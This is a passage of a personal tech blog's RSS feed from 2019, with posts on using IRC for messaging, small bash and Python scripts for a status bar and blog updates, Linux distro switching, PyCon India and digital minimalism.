743hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc.
744modes.</p></li>
745<li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/">lnotify.py</a>
746to send a notification for all messages in the specified buffer
747(<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other
748hand, has an option to setup rules for notifications—super
749convenient.</p></li>
750<li><p>A bot: Lastly, a bot for a few small tasks—fetching URL titles, responding
751to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it
752took me about an hour or two to get most of the basic functionality in
753place. The source is <a href="https://github.com/icyphox/detotated">here</a>.
754It is by no means “good code”; it breaks spectacularly from time to
755time.</p></li>
756</ul>
757
758<h2 id="in-conclusion">In conclusion</h2>
759
760<p>As the subtitle suggests, using IRC has been great. It’s probably not
761for everyone though, but it fits my (and Nerdy’s) usecase perfectly.</p>
762
763<p>P.S.: <em>I’m not sure why the footnotes are reversed.</em></p>
764
765<div class="footnotes">
766<hr />
767<ol>
768<li id="fn-modes">
769<p>Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes">Rizon</a>. <a href="#fnref-modes" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
770</li>
771
772<li id="fn-deltachat">
773<p>It’s in <a href="https://github.com/icyphox/site/issues/10">queue</a>. <a href="#fnref-deltachat" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
774</li>
775</ol>
776</div>
777]]></description><link>https://icyphox.sh/blog/irc-for-dms</link><pubDate>Sun, 03 Nov 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/irc-for-dms</guid></item><item><title>The intelligence conundrum</title><description><![CDATA[<p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series)">S.W.A.T.</a>
778episode a couple of days ago, and it highlighted some interesting issues that
779intelligence organizations face when working with law enforcement. Side note: it’s a pretty
780good show if you like police procedurals.</p>
781
782<h2 id="the-problem">The problem</h2>
783
784<p>Consider the following scenario:</p>
785
786<ul>
787<li>There’s a local drug lord who’s been recruited to provide intel, by a certain 3-letter organization.</li>
788<li>Local PD busts his operation and proceed to arrest him.</li>
789<li>3-letter org steps in, wants him released.</li>
790</ul>
791
792<p>So here’s the thing, his presence is a threat to public but at the same time,
793he can be a valuable long term asset—giving info on drug inflow, exchanges and perhaps even
794actionable intel on bigger fish who exist on top of the ladder. But he also
795seeks security. The 3-letter org must provide him with protection,
796in case he’s blown. And like in our case, they’d have to step in if he gets arrested.</p>
797
798<p>Herein lies the problem. How far should an intelligence organization go to protect an asset?
799Who matters more, the people they’ve sworn to protect, or the asset?
800Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p>
801
802<p>Thus, the question arises—how can we measure the “usefulness” of an
803asset to better quantify the tradeoff that is to be made?
804Is the intel gained worth the loss of public safety?
805This question remains largely unanswered, and is quite the
806predicament should you find yourself in it.</p>
807
808<p>This was a fairly short post, but an interesting problem to ponder
809nonetheless.</p>
810]]></description><link>https://icyphox.sh/blog/intel-conundrum</link><pubDate>Mon, 28 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/intel-conundrum</guid></item><item><title>Hacky scripts</title><description><![CDATA[<p>As a CS student, I see a lot of people around me doing courses online
811to learn to code. Don’t get me wrong—it probably works for some.
812Everyone learns differently. But that’s only going to get you so far.
813Great you know the syntax, you can solve some competitive programming
814problems, but that’s not quite enough, is it? The actual learning comes
815from <em>applying</em> it in solving <em>actual</em> problems—not made up ones.
816(<em>inb4 some seething CP bro comes at me</em>)</p>
817
818<p>Now, what’s an actual problem? Some might define it as real world
819problems that people out there face, and solving it probably requires
820building a product. This is what you see in hackathons, generally.</p>
821
822<p>If you ask me, however, I like to define it as problems that <em>you</em> yourself
823face. This could be anything. Heck, it might not even be a “problem”. It
824could just be an itch that you want to scratch. And this is where
825<strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few
826examples.</p>
827
828<h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2>
829
830<p>If you weren’t aware already—I rice my desktop. A lot. And a part of
831this cohesive experience I try to create involves a status bar up at the
832top of my screen, showing the time, date, volume and battery statuses etc.</p>
833
834<p>So here’s the “problem”. I wanted to have my currently playing song
835(Spotify), show up on my bar. How did I approach this? A few ideas
836popped up in my head:</p>
837
838<ul>
839<li>Send <code>playerctl</code>’s STDOUT into my bar</li>
840<li>Write a Python script to query Spotify’s API</li>
841<li>Write a Python/shell script to query Last.fm’s API</li>
842</ul>
843
844<p>The first approach bombed instantly. <code>playerctl</code> didn’t recognize my
845Spotify client and whined about some <code>dbus</code> issues to top it off.
846I spent a while in that rabbit hole but eventually gave up.</p>
847
848<p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/">docs</a> and
849I realize that I’ll have to make <em>more</em> than one request to fetch the
850artist and track details. Nope, I need this to work fast.</p>
851
852<p>Last resort—Last.fm’s API. Spolier alert, this worked. Also, arguably
853the best choice, since it shows the track status regardless of where
854the music is being played. Here’s the script in its entirety:</p>
855
856<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
857<span class="c1"># now playing</span>
858<span class="c1"># requires the last.fm API key</span>
859
860<span class="nb">source</span> ~/.lastfm <span class="c1"># `export API_KEY="<key>"`</span>
861<span class="nv">fg</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color15<span class="k">)</span><span class="s2">"</span>
862<span class="nv">light</span><span class="o">=</span><span class="s2">"</span><span class="k">$(</span>xres color8<span class="k">)</span><span class="s2">"</span>
863
864<span class="nv">USER</span><span class="o">=</span><span class="s2">"icyphox"</span>
865<span class="nv">URL</span><span class="o">=</span><span class="s2">"http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks"</span>
866<span class="nv">URL</span><span class="o">+=</span><span class="s2">"&user=</span><span class="nv">$USER</span><span class="s2">&api_key=</span><span class="nv">$API_KEY</span><span class="s2">&format=json&limit=1&nowplaying=true"</span>
867<span class="nv">NOTPLAYING</span><span class="o">=</span><span class="s2">" "</span> <span class="c1"># I like to have it show nothing</span>
868<span class="nv">RES</span><span class="o">=</span><span class="k">$(</span>curl -s <span class="nv">$URL</span><span class="k">)</span>
869<span class="nv">NOWPLAYING</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0]."@attr".nowplaying'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
870
871
872<span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$NOWPLAYING</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"true"</span> <span class="o">]]</span>
873<span class="k">then</span>
874 <span class="nv">TRACK</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].name'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
875 <span class="nv">ARTIST</span><span class="o">=</span><span class="k">$(</span>jq <span class="s1">'.recenttracks.track[0].artist."#text"'</span> <span class="o"><<<</span> <span class="s2">"</span><span class="nv">$RES</span><span class="s2">"</span> <span class="p">|</span> tr -d <span class="s1">'"'</span><span class="k">)</span>
876 <span class="nb">echo</span> -ne <span class="s2">"%{F</span><span class="nv">$light</span><span class="s2">}</span><span class="nv">$TRACK</span><span class="s2"> %{F</span><span class="nv">$fg</span><span class="s2">}by </span><span class="nv">$ARTIST</span><span class="s2">"</span>
877<span class="k">else</span>
878 <span class="nb">echo</span> -ne <span class="s2">"</span><span class="nv">$NOTPLAYING</span><span class="s2">"</span>
879<span class="k">fi</span>
880</code></pre></div>
881
882<p>The <code>source</code> command is used to fetch the API key which I store at
883<code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they’re only
884for coloring output on my bar. The rest is fairly trivial and just
885involves JSON parsing with <a href="https://stedolan.github.io/jq/"><code>jq</code></a>.
886That’s it! It’s so small, but I learnt a ton. For those curious, here’s
887what it looks like running:</p>
888
889<p><img src="/static/img/now_playing.png" alt="now playing status polybar" /></p>
890
891<h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2>
892
893<p>This pertains to this very blog that you’re reading. I wanted a quick
894way to update the “latest post” section in the home page and the
895<a href="/blog">blog</a> listing, with a link to the latest post. This would require
896editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages">source</a>
897of both pages.</p>
898
899<p>This was a very
900interesting challenge to me, primarily because it requires in-place
901editing of the file, not just appending. Sure, I could’ve come up with
902some <code>sed</code> one-liner, but that didn’t seem very fun. Also I hate
903regexes. Did a lot of research (read: Googling) on in-place editing of
904files in Python, sorting lists of files by modification time etc. and
905this is what I ended up on, ultimately:</p>
906
907<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env python3</span>
908
909<span class="kn">from</span> <span class="nn">markdown2</span> <span class="kn">import</span> <span class="n">markdown_path</span>
910<span class="kn">import</span> <span class="nn">os</span>
911<span class="kn">import</span> <span class="nn">fileinput</span>
912<span class="kn">import</span> <span class="nn">sys</span>
913
914<span class="c1"># change our cwd</span>
915<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="s2">"bin"</span><span class="p">)</span>
916
917<span class="n">blog</span> <span class="o">=</span> <span class="s2">"../pages/blog/"</span>
918
919<span class="c1"># get the most recently created file</span>
920<span class="k">def</span> <span class="nf">getrecent</span><span class="p">(</span><span class="n">path</span><span class="p">):</span>
921 <span class="n">files</span> <span class="o">=</span> <span class="p">[</span><span class="n">path</span> <span class="o">+</span> <span class="n">f</span> <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">listdir</span><span class="p">(</span><span class="n">blog</span><span class="p">)</span> <span class="k">if</span> <span class="n">f</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="s2">"_index.md"</span><span class="p">,</span> <span class="s2">"feed.xml"</span><span class="p">]]</span>
922 <span class="n">files</span><span class="o">.</span><span class="n">sort</span><span class="p">(</span><span class="n">key</span><span class="o">=</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">getmtime</span><span class="p">,</span> <span class="n">reverse</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
923 <span class="k">return</span> <span class="n">files</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
924
925<span class="c1"># adding an entry to the markdown table</span>
926<span class="k">def</span> <span class="nf">update_index</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
927 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/_index.md"</span>
928 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"r"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
929 <span class="n">md</span> <span class="o">=</span> <span class="n">f</span><span class="o">.</span><span class="n">readlines</span><span class="p">()</span>
930 <span class="n">ruler</span> <span class="o">=</span> <span class="n">md</span><span class="o">.</span><span class="n">index</span><span class="p">(</span><span class="s2">"| --- | --: |</span><span class="se">\n</span><span class="s2">"</span><span class="p">)</span>
931 <span class="n">md</span><span class="p">[</span><span class="n">ruler</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
932
933 <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="s2">"w"</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
934 <span class="n">f</span><span class="o">.</span><span class="n">writelines</span><span class="p">(</span><span class="n">md</span><span class="p">)</span>
935
936<span class="c1"># editing the md source in-place</span>
937<span class="k">def</span> <span class="nf">update_blog</span><span class="p">(</span><span class="n">s</span><span class="p">):</span>
938 <span class="n">path</span> <span class="o">=</span> <span class="s2">"../pages/blog/_index.md"</span>
939 <span class="n">s</span> <span class="o">=</span> <span class="n">s</span> <span class="o">+</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span>
940 <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="n">fileinput</span><span class="o">.</span><span class="n">FileInput</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">inplace</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
941 <span class="k">if</span> <span class="s2">"--:"</span> <span class="ow">in</span> <span class="n">l</span><span class="p">:</span>
942 <span class="n">l</span> <span class="o">=</span> <span class="n">l</span><span class="o">.</span><span class="n">replace</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">l</span> <span class="o">+</span> <span class="n">s</span><span class="p">)</span>
943 <span class="nb">print</span><span class="p">(</span><span class="n">l</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">""</span><span class="p">),</span>
944
945
946<span class="c1"># fetch title and date</span>
947<span class="n">meta</span> <span class="o">=</span> <span class="n">markdown_path</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">),</span> <span class="n">extras</span><span class="o">=</span><span class="p">[</span><span class="s2">"metadata"</span><span class="p">])</span><span class="o">.</span><span class="n">metadata</span>
948<span class="n">fname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">basename</span><span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">splitext</span><span class="p">(</span><span class="n">getrecent</span><span class="p">(</span><span class="n">blog</span><span class="p">))[</span><span class="mi">0</span><span class="p">])</span>
949<span class="n">url</span> <span class="o">=</span> <span class="s2">"/blog/"</span> <span class="o">+</span> <span class="n">fname</span>
950<span class="n">line</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">"| [</span><span class="si">{meta['title']}</span><span class="s2">](</span><span class="si">{url}</span><span class="s2">) | `</span><span class="si">{meta['date']}</span><span class="s2">` |"</span>
951
952<span class="n">update_index</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
953<span class="n">update_blog</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
954</code></pre></div>
955
956<p>I’m going to skip explaining this one out, but in essence, it’s <strong>one
957massive hack</strong>. And in the end, that’s my point exactly. It’s very
958hacky, but the sheer amount I learnt by writing this ~50
959line script can’t be taught anywhere.</p>
960
961<p>This was partially how
962<a href="https://github.com/icyphox/vite">vite</a> was born. It was originally
963intended to be a script to build my site, but grew into a full-blown
964Python package. I could’ve just
965used an off-the-shelf static site generator
966given that there are <a href="https://staticgen.com">so many</a> of them, but
967I chose to write one myself.</p>
968
969<p>And that just about sums up what I wanted to say. The best and most fun
970way to learn to code—write hacky scripts. You heard it here.</p>
971]]></description><link>https://icyphox.sh/blog/hacky-scripts</link><pubDate>Thu, 24 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/hacky-scripts</guid></item><item><title>Status update</title><description><![CDATA[<p>I’ve decided to drop the “Weekly” part of the status update posts, since
972they were never weekly and—let’s be honest—they aren’t going to be.
973These posts are, henceforth, just “Status updates”. The date range can
974be inferred from the post date.</p>
975
976<p>That said, here’s what I’ve been up to!</p>
977
978<h2 id="void-linux">Void Linux</h2>
979
980<p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great,
981really. The very comfy <code>apk</code>, ultra mnml system… but having to
982maintain a chroot for my glibc needs was getting way too painful. And
983the package updates are so slow! Heck, they’re still on kernel 4.xx on
984their supposed “bleeding” <code>edge</code> repo.</p>
985
986<p>So yes, Void Linux it is. Still a very clean system. I’m loving it.
987I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt"><code>undervolt</code></a>
988(-95 mV). Can’t say for sure if there’s a noticeable difference in
989battery life though. I’ll see if I can run some tests.</p>
990
991<p>This <em>should</em> be the end of my distro hopping. Hopefully.</p>
992
993<h2 id="pycon">PyCon</h2>
994
995<p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p>
996
997<h2 id="this-website">This website</h2>
998
999<p>I’ve moved out of GitHub Pages over to Netlify. This isn’t my first time
1000using Netlify, though. I used to host my old blog which ran Hugo, there.
1001I was tired of doing this terrible hack to maintain a single repo for
1002both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here’s
1003what I did:</p>
1004
1005<div class="codehilite"><pre><span></span><code><span class="ch">#!/usr/bin/env bash</span>
1006
1007git push origin master
1008<span class="c1"># push contents of `build/` to the `gh-pages` branch</span>
1009git subtree push --prefix build origin gh-pages
1010</code></pre></div>
1011
1012<p>I can now simply push to <code>master</code>, and Netlify generates a build for me
1013by installing <a href="https://github.com/icyphox/vite">vite</a>, and running <code>vite
1014build</code>. Very pleasant.</p>
1015
1016<h2 id="mnmlwms-status"><code>mnmlwm</code>’s status</h2>
1017
1018<p><a href="https://github.com/minimalwm/minimal">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple
1019window manager written in Nim. I’d taken a break from it for a while
1020because Xlib is such a pain to work with (or I’m just dense). Anyway,
1021I’m planning on getting back to it, with some fresh inspiration from
1022Dylan Araps’ <a href="https://github.com/dylanaraps/sowm">sowm</a>.</p>
1023
1024<h2 id="other">Other</h2>
1025
1026<p>I’ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa
1027Monogatari</em> (till the latest chapter) and <em>Another</em>, and I’ve just
1028started <em>Kakegurui</em>. I’ll reserve my opinions for when I update the
1029<a href="/reading">reading log</a>.</p>
1030
1031<p>That’s about it, and I’ll see you—definitely not next week.</p>
1032]]></description><link>https://icyphox.sh/blog/2019-10-17</link><pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-10-17</guid></item><item><title>PyCon India 2019 wrap-up</title><description><![CDATA[<p>I’m writing this article as I sit in class, back on the grind. Last
1033weekend—Oct 12th and 13th—was PyCon India 2019, in Chennai, India.
1034It was my first PyCon, <em>and</em> my first ever talk at a major conference!
1035This is an account of the all the cool stuff I saw, people I met and the
1036talks I enjoyed.
1037Forgive the lack of pictures—I prefer living the moment through my
1038eyes. </p>
1039
1040<h2 id="talks">Talks</h2>
1041
1042<p>So much ML! Not that it’s a bad thing, but definitely interesting to
1043note. From what I counted, there were about 17 talks tagged under “Data
1044Science, Machine Learning and AI”. I’d have liked to see more talks
1045discussing security and privacy, but hey, the organizers can only pick
1046from what’s submitted. ;)</p>
1047
1048<p>With that point out of the way, here are some of the talks I really liked:</p>
1049
1050<ul>
1051<li><strong>Python Packaging - where we are and where we’re headed</strong> by <a href="https://twitter.com/pradyunsg">Pradyun</a></li>
1052<li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer">Vinay</a></li>
1053<li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia">Vikrant</a></li>
1054<li><strong>Let’s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus">Sanket</a></li>
1055<li>oh and of course, <a href="https://twitter.com/dabeaz">David Beazley</a>’s closing
1056keynote</li>
1057</ul>
1058
1059<h2 id="my-talk">My talk (!!!)</h2>
1060
1061<p>My good buddy <a href="https://twitter.com/_vologue">Raghav</a> and I spoke about
1062our smart lock security research. Agreed, it might have been less
1063“hardware” and more of a bug on the server-side, but that’s the thing
1064about IoT right? It’s so multi-faceted, and is an amalgamation of so
1065many different hardware and software stacks. But, anyway…</p>
1066
1067<p>I was reassured by folks after the talk that the silence during Q/A was
1068the “good” kind of silence. Was it really? I’ll never know.</p>
1069
1070<h2 id="some-nice-people-i-met">Some nice people I met</h2>
1071
1072<ul>
1073<li><a href="https://twitter.com/abhirathb">Abhirath</a>—A 200 IQ lad. Talked to
1074me about everything from computational biology to the physical
1075implementation of quantum computers.</li>
1076<li><a href="https://twitter.com/meain_">Abin</a>—He recognized me from my
1077<a href="https://reddit.com/r/unixporn">r/unixporn</a> posts, which was pretty
1078awesome.</li>
1079<li><a href="https://twitter.com/h6165">Abhishek</a></li>
1080<li>Pradyun and Vikrant (linked earlier)</li>
1081</ul>
1082
1083<p>And a lot of other people doing really great stuff, whose names I’m
1084forgetting.</p>
1085
1086<h2 id="pictures">Pictures!</h2>
1087
1088<p>It’s not much, and
1089I can’t be bothered to format them like a collage or whatever, so I’ll
1090just dump them here—as is.</p>
1091
1092<p><img src="/static/img/silly_badge.jpg" alt="nice badge" />
1093<img src="/static/img/abhishek_anmol.jpg" alt="awkward smile!" />
1094<img src="/static/img/me_talking.jpg" alt="me talking" />
1095<img src="/static/img/s443_pycon.jpg" alt="s443 @ pycon" /></p>
1096
1097<h2 id="cest-tout">C’est tout</h2>
1098
1099<p>Overall, a great time and a weekend well spent. It was very different
1100from your typical security conference—a lot more <em>chill</em>, if you
1101will. The organizers did a fantastic job and the entire event was put
1102together really well.
1103I don’t have much else to say, but I know for sure that I’ll be
1104there next time.</p>
1105
1106<p>That was PyCon India, 2019.</p>
1107]]></description><link>https://icyphox.sh/blog/pycon-wrap-up</link><pubDate>Tue, 15 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/pycon-wrap-up</guid></item><item><title>Thoughts on digital minimalism</title><description><![CDATA[<p>Ah yes, yet another article on the internet on this beaten to death
1108subject. But this is inherently different, since it’s <em>my</em> opinion on
1109the matter, and <em>my</em> technique(s) to achieve “digital minimalism”.</p>
1110
1111<p>According to me, minimalism can be achieved on two primary fronts –
1112the phone & the computer. Let’s start with the phone. The daily carry.
1113The device that’s on our person from when we get out of bed, till we get
1114back in bed.</p>
1115
1116<h2 id="the-phone">The phone</h2>
1117
1118<p>I’ve read about a lot of methods people employ to curb their phone
1119usage. Some have tried grouping “distracting” apps into a separate
1120folder, and this supposedly helps reduce their usage. Now, I fail to see
1121how this would work, but YMMV. Another technique I see often is using
1122a time governance app—like OnePlus’ Zen Mode—to enforce how much
1123time you spend using specific apps, or the phone itself. I’ve tried this
1124for myself, but I constantly found myself counting down the minutes
1125after which the phone would become usable again. Not helpful.</p>
1126
1127<p>My solution to this is a lot more brutal. I straight up uninstalled the
1128apps that I found myself using too often. There’s a simple principle
1129behind it—if the app has a desktop alternative, like Twitter,
1130Reddit, etc. use that instead. Here’s a list of apps that got nuked from
1131my phone:</p>
1132
1133<ul>
1134<li>Twitter</li>
1135<li>Instagram (an exception, no desktop client)</li>
1136<li>Relay for Reddit</li>
1137<li>YouTube (disabled, ships with stock OOS)</li>
1138</ul>
1139
1140<p>The only non-productive app that I’ve let remain is Clover,
1141a 4chan client. I didn’t find myself using it as much earlier, but we’ll see how that
1142holds up. I’ve also allowed my personal messaging apps to remain, since
1143removing those would be inconveniencing others.</p>
1144
1145<p>I must admit, I often find myself reaching for my phone out of habit
1146just to check Twitter, only to find that its gone. I also subconsciously
1147tap the place where its icon used to exist (now replaced with my mail
1148client) on my launcher. The only “fun” thing left on my phone to do is
1149read or listen to music. Which is okay, in my opinion.</p>
1150
1151<h2 id="the-computer">The computer</h2>
1152
1153<p>I didn’t do anything too nutty here, and most of the minimalism is
1154mostly aesthetic. I like UIs that get out of the way. </p>
1155
1156<p>My setup right now is just a simple bar at the top showing the time,
1157date, current volume and battery %, along with my workspace indicators.
1158No fancy colors, no flashy buttons and sliders. And that’s it. I don’t
1159try to force myself to not use stuff—after all, I’ve reduced it
1160elsewhere. :)</p>
1161
1162<p>Now the question arises: Is this just a phase, or will I stick to it?
1163What’s going to stop me from heading over to the Play Store and
1164installing those apps back? Well, I never said this was going to be
1165easy. There’s definitely some will power needed to pull this off.
1166I guess time will tell.</p>
1167]]></description><link>https://icyphox.sh/blog/digital-minimalism</link><pubDate>Sat, 05 Oct 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/digital-minimalism</guid></item><item><title>Weekly status update, 09/17–09/27</title><description><![CDATA[<p>It’s a lazy Friday afternoon here; yet another off day this week thanks to my
1168uni’s fest. My last “weekly” update was 10 days ago, and a lot has happened
1169since then. Let’s get right into it!</p>
1170
1171<h2 id="my-switch-to-alpine">My switch to Alpine</h2>
1172
1173<p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p>
1174
1175<div class="codehilite"><pre><span></span><code>$ dpkg --list <span class="p">|</span> wc -l
1176<span class="m">3817</span>
1177
1178<span class="c1"># or something in that ballpark</span>
1179</code></pre></div>
1180
1181<p>I’ve been wanting to reduce my system’s package count.</p>
1182
1183<p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly
1184sane package manager. I did come across Dylan Araps’
1185<a href="https://getkiss.org">KISS Linux</a> project, but it seemed a little too hands-on
1186for me (and still relatively new). I finally settled on
1187<a href="https://alpinelinux.org">Alpine Linux</a>. According to their website:</p>
1188
1189<blockquote>
1190 <p>Alpine Linux is a security-oriented, lightweight Linux distribution based
1191 on musl libc and busybox.</p>
1192</blockquote>
1193
1194<p>The installation was a breeze, and I was quite surprised to see WiFi working
1195OOTB. In the past week of my using this distro, the only major hassle I faced
1196was getting my Minecraft launcher to run. The JRE isn’t fully ported to <code>musl</code>
1197yet.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup> The solution to that is fairly trivial and I plan to write about it
1198soon. (hint: it involves chroots)</p>
1199
1200<p><img src="/static/img/rice-2019-09-27.png" alt="rice" /></p>
1201
1202<h2 id="packaging-for-alpine">Packaging for Alpine</h2>
1203
1204<p>On a related note, I’ve been busy packaging some of the stuff I use for Alpine
1205– you can see my personal <a href="https://github.com/icyphox/aports">aports</a>
1206repository if you’re interested. I’m currently working on packaging Nim too, so
1207keep an eye out for that in the coming week.</p>
1208
1209<h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2>
1210
1211<p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue">@_vologue</a>) and I are
1212going to be speaking at PyCon India about our recent smart lock security
1213research. The conference is happening in Chennai, much to our convenience.
1214If you’re attending too, hit me up on Twitter and we can hang!</p>
1215
1216<h2 id="other">Other</h2>
1217
1218<p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going
1219strong, my reading however, hasn’t. I have <em>yet</em> to finish those books! This
1220week, for sure.</p>
1221
1222<p>Musically, I’ve been experimenting. I tried a bit of hip-hop and chilltrap, and
1223I think I like it? I still find myself coming back to metalcore/deathcore.
1224Here’s a list of artists I discovered (and liked) recently:</p>
1225
1226<ul>
1227<li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA">Before I Turn</a></li>
1228<li>生 Conform 死 (couldn’t find any official YouTube video, check Spotify)</li>
1229<li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4">Treehouse Burning</a></li>
1230<li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY">Lee McKinney</a></li>
1231<li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM">Berried Alive</a> (rediscovered)</li>
1232</ul>
1233
1234<p>That’s it for now, I’ll see you next week!</p>
1235
1236<div class="footnotes">
1237<hr />
1238<ol>
1239<li id="fn-1">
1240<p>The <a href="https://aboullaite.me/protola-alpine-java/">Portola Project</a> <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1241</li>
1242</ol>
1243</div>
1244]]></description><link>https://icyphox.sh/blog/2019-09-27</link><pubDate>Fri, 27 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-27</guid></item><item><title>Weekly status update, 09/08–09/17</title><description><![CDATA[<p>This is something new I’m trying out, in an effort to write more frequently
1245and to serve as a log of how I’m using my time. In theory, I will write this post
1246every week. I’ll need someone to hold me accountable if I don’t. I have yet to decide on
1247a format for this, but it will probably include a quick summary of the work I did,
1248things I read, IRL stuff, etc.</p>
1249
1250<p>With the meta stuff out of the way, here’s what went down last week!</p>
1251
1252<h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2>
1253
1254<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It’s a link to
1255the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
1256It creates a small community of sites and enables sharing of traffic among these sites.
1257The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
1258of those sites are beautiful. Mine pales in comparison.</p>
1259
1260<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
1261called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
1262and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
1263twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>
1264
1265<p>Which brings me to the next thing I did this/last week.</p>
1266
1267<h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2>
1268
1269<p>I’m not a fan of the official Python client, because you know, Python is bloat.
1270As an advocate of <em>mnmlsm</em>, I can’t use it in good conscience. Thus, began my
1271authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
1272It’s not entirely useable as of yet, but it’s definitely getting there, with the help
1273of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>
1274
1275<h2 id="other">Other</h2>
1276
1277<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
1278Darknet Diaries & Off the Pill. To add to this list, I’ve begun binging Vice’s CYBER.
1279It’s pretty good—each episode is only about 30 mins and it hits the sweet spot,
1280delvering both interesting security content and news.</p>
1281
1282<p>My reading needs a ton of catching up. Hopefully I’ll get around to finishing up
1283“The Unending Game” this week. And then go back to “Terrorism and Counterintelligence”.</p>
1284
1285<p>I’ve begun learning Russian! I’m really liking it so far, and it’s been surprisingly
